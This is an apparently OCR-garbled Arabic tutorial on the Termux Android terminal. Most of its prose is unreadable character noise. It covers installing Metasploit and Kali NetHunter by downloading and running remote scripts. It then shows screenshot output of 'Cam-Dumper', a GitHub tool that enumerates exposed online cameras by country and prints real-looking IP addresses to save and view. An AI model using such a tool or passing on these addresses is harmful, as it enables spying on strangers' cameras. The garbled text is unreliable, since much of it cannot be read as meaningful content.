Jol @i Ue Wlinopy wipaii el ule Jlo s wuAilll oo Wy 085 Ll dalicl Gidesll (o
Wlgaluuniiwila uJlgit clone ol elpa] jie GitHub J\LA (Lo Aol g Wild uini Layiwnii ol apt-get
el yogi LI (Packages) jnll o degono Linil Gulhill el aul) WJbgol Gl yuiilll
olpjallodra ¢yaniclinag Lo ayguaill eldila ulde dyguuAitll i opdl o AU GlolaAiwl
s il pdaj guiie JA) dunoll danlgll g 6981 g Aol jroly \Termux plaiiwl Glinopll
UAodg dlindl G&uwlg Termux lasiwlo ( Connectbot Jio ) daylilo Al wlduni yuace oleg

kﬂﬁi‘).{l‘ﬁ JAuinyuAailly hgio Termux @i olasiwl «eldile 6jlay ualéll (Lo ayasl) dolaAiwl
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/https:/ltermux.dev/en @olpdl Jionilnily )

dubli Gl el pakhi e 18Il g8 Al Elila (.o duniig Allonl g4 Ul Ay .Y
(Command Line) yolqll th (e 6jue )dg elaguy
:LdolaAiivlg lanii Clifes il Sjrooll pjall yasy -
Ay ule Janall Ay UlA The Matrix gl Gogénoll opay lo (o : The Matrix pwili doja -
Joll 1aa el yogi Ul Guhiwi dulinoll dojnl 0aa § elas yudl Lidila (o Loy dnlall wlsitil
I LoVl 1ial ol Termux @i Jusiiti os

pkg install cmatrix
ALy 0987 LSt 13 e Jyseiinl) lda =y oJ
Enter ule 18ill od cmatrix pauw
dn i dojn 30 1 duhnill (Lo @9raJU ol elif gy dn sunio Wlogdn o auni ¢ldila i aaiig
JislUg Uy dyliog
Js2iiti a2 o ojall At Ul ol iguhill elia) Jiiy U walng 26 xojallg guail Cyans
Laul pjallg guhail Cyaai elle tiag Aladl odd o s Jaiiy il Jii Cuils Lasy
oS A il 6 LAyl agngoll aundi ga . apt-get update joll A1oii) rogdi ella Guo~il
L) cyani sl polgi Ul lahjaaiyogé) g Termux @i ojnll (o 4l Lol Iaa
Juw ode aiolal rgdi 6)ue U dlaiao dlis (ugai) Figlet dojn el @Qouwsi: Figlet dojn -
Agqua Web ouwl dla oy liod wiilall oo Jloll
Lol Gy Ue Figlet dojn Jponlrogdi el Y=l

 pkg install figlet

1oVl Guph (e laola ATinl ogdi lar < ol
2y odllojusJuaqua web 6)luc i &o figlet aqua web
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Ao elalgns JaisiyRuby Jig Python Jipaaiimjallg @liiallwluaopwilel: Python doja -
yoUl 2101} (g b el J=&J Wi Ul olaniwl Algal 101§ &ulnig (»in loddiofn LAl Ag)
Ppip Jlga gelJaa python Juunlalojall paowiniiy Ul douwn Jualllaa. pkg install python
pip 1ol A1015 @it Ue laolaailg Ughwu laylail ol Wliaop e Uyl Litolw lassy
. Termux Jl Lo install

ool pao W poguojgausall. pkg install ruby pol A4¢iiipgéiPython JiJlaa: Ruby Jidojn -
ojn ol Ruby JI Lle aoisi LAyl wlinop Jusuiti elifonn laass .Gem ga g Ruby Ju ualall
. Termux JI plaAaiwl lay dnla

SeLgila Lo Metasploit Jiuyniiyel) Lo

pkg install LoVl Gy (e curl Jldojn winiiy Vgl ogdiacaa Termux Jl e ela J=o ¢lif o) fosi

curl -LO oVl audiiy curl JI @uph Uc lalgyl) (o Metasploit JI wlny oqéi od .curl

https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh

Jol e metasploit JI Jusiiri) 3¢ioll clncl 0gdi laasy . lanii ody oidn (uis of ) \uls Al

metasploit.sh/. 1ol @y (e Cuglunlioll Jisiiriyogéiod. chmod 777 metasploit.sh
pAAleLdjla ple &)U lbapyniijod -

1ol o alyjiiyo rod NetHunter Kex ouwl paldulai e CinglKali NetHunter Store guni oo

LA i Hillg lelil poloVl (o Aegono 240l e eliag Termux LoloUl phuw pie rodipw Josdl JA Gl
AU a8y AL el

t upgrade // to upgrade te
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[‘ | Terminal Emulator

- File Manager
'I Text Editor

@ Web Browser
\ Kali Linux
<

. Kali Docs
yais

Kali Bugs

Offensive Security Training

Exploit Database

( Termux termainal (09) J4ib

store.nethunter.com (o NetHunter-Store guhiciyiiiod .Y
Hacker auila o dnglg NetHunter-KeX Jiocq Termux viruiis o NetHunter j1nio o .Y
ea)9ayad.Alalni hé o — wuplill awy yaioll Jloc o " Cutio" O] "l Il ey U a6 :Aanilo
B Elile Lo — djanil yasy ude "apiil' dols yase Ul 0 69io 810 JoU termux oty Jusiil
Jaljjode hsnll
«iAslg Termux @olp Qiol €
:1~$ pkg install wget
-0 install-nethunter-termux https://offs.ec/2MceZWr

d +x install-nethunter-termux
:~% . /install-nethunter-termux

| termux steup (V. ) JAub
olaAaiwll o

:odJ Loo Ianlg Lrislg Termux iol

To

start Kali NetHunter command line interface

configure the KeX password (only needed before 1st use)
start Kali NetHunter Desktop Experience user sessions
stop Kali NetHunter Desktop Experience

run in NetHunter environment

start Kali NetHunter cli as root

configure the KeX password for root

start Kali NetHunter Desktop Experience as root
stop Kali NetHunter Desktop Experience root sessions

Kill all KeX sessions

run in NetHunter environment as root

o

[ Termux Lolgf (VI) JAubs
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root@kall: ~/Desktop
File Actions Edit View Help

"0000" "Y00o000OOMOIONODOO" 3 "OOROAOPOEO000OY" "000"
Y 00000000000000 .0000. 0000000000072
.00000000000000 . 000000 .0000000000000?
000P"%0000000000000000700000070000" 000
%0 0000"%0000%"%00000"000000"000 :
$" 0000 0O"Y (00]0]0] 0
op" 20

~/Desktop

clone https://github.com/erfannoori/Cam-Dumper.git
Cloning into 'Cam-Dumper’ ...
remote: Enumerating objects: 49, done.
remote: Counting objects: 100% (49/49), done.
remote: Compressing objects: 100% (47/47), done.
remote: Total 49 (delta 20), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (49/49), 218.89 KiB | 98.00 KiB/s, done.
Resolving deltas: 100%1(20/20), done.

~/Desktop
cam-Dumperfj

Y
~/Desktop
Cam-Dumper
~/Desktop/Cam-Dumper
"Cam Dumper.py' requirements.txt
README . md I
v

~/Desktop/Cam-Dumper

~/Desktop/Cam-Dumper

‘Cam Dumper.py requirements. txt

screensnot Q2

~/Desktop/Cam-Dumper
install requirements.txt

A



~/Desktop/Cam-Dumper
install requirements.txt
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from
-r requirements.txt (line 1)) (2.31.0)
ING: Running pip as the ' ! Se] an res 1n broken permissions and con

- |
ecommnenaed

~/Desktop/Cam-Dumper
install colorama
Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (0.4.¢€
)

3 behaviour witt he system package manager. s recommended to use¢
wvironment
Cracker-Tool
~/Desktop/Cam-Dumper
Cam Dumper.py
python3: can't open file '/root/Desktop/Cam-Dumper/Cam': [Errno 2] No such file
Cam-Dumper or directory

~/Desktop/Cam-Dumper

hot

~/Desktop/Cam-Dumper

(2}

Cam-Dumper - Thunae

Cam-Dumper

sr/lib/python3/dist-packages (

en permi

ecommend

@ Fite Syste
Network

2 Browse

umper/Cam': [Errno 2] No such

~/Desktop/Cam-Dumper

rvv



~/Desktop/Cam-Dumper
README.md requirement:

~/Desktop/Cam-Dumper
CamDumper.py

root@kalk ~/Desktop/Cam-Dumper
File Actions Edit View Help

Country : Honduras

Country Code : (HN)

online camera(1)

Country : Andorra
Country Code : (AD)
online Camera(1)

Country : Cambodia
Country Code : (KH)
online Camera(1)

Country : Aruba
Country Code : (AW)
online Camera(1)

+

Enter the Country Code : [

Country : Panama
Country Code : ([jA)
Online Camera(1)

Enter the Country Code : PA
http://200.46.196.243:80

Save File : [J'W#4s

~/Desktop/Cam-Dumper

(VA



Cam-Dumper

L

CamDumper.py

£

.46.196.243:80

http://200

save File : [JYIQ

~/Desktop/Cam-Dumper

froot/Desktop/Cam - Dumper PALXt - Mousepad
Help
R OMC x 0O QK n

Warning: you are using the root account. You may harm your system,
1 http://200.46.196.243:80 )

‘

root @kali: -/Desktop/Cam- Dumper
File Actions Edit View Help
Oonline Camera(1)
+
Open Link
Country : Cambodia Copy Linkiddress
Country Code : (KH) ) Copy Selection Cri+Shift+C
Online Camera( 1 ) [ Paste Clipboard CtrisShintsVv

) Paste Selection Shift+ins
8 Zoom In Ciries
8 Zoom out Ctris
Country : Aruba 0 Zoom reset Ctrl+0
Country Code : (AW) @ Clear Active Terminal CtrieShiftex
Online Camera( l) Split Terminal Horlzontally Ctri+Shift+D
B e Al A L LHL Split Terminal Vertically Ctri+Shift+R

Enter the Country Code : LA Toggle Menu CtrisShift+M

Hide Window Borders

Preferences.

http://183.182.101.99:10.~
Save File : LA.txt

~/Desktop/Cam-Dumper

rva
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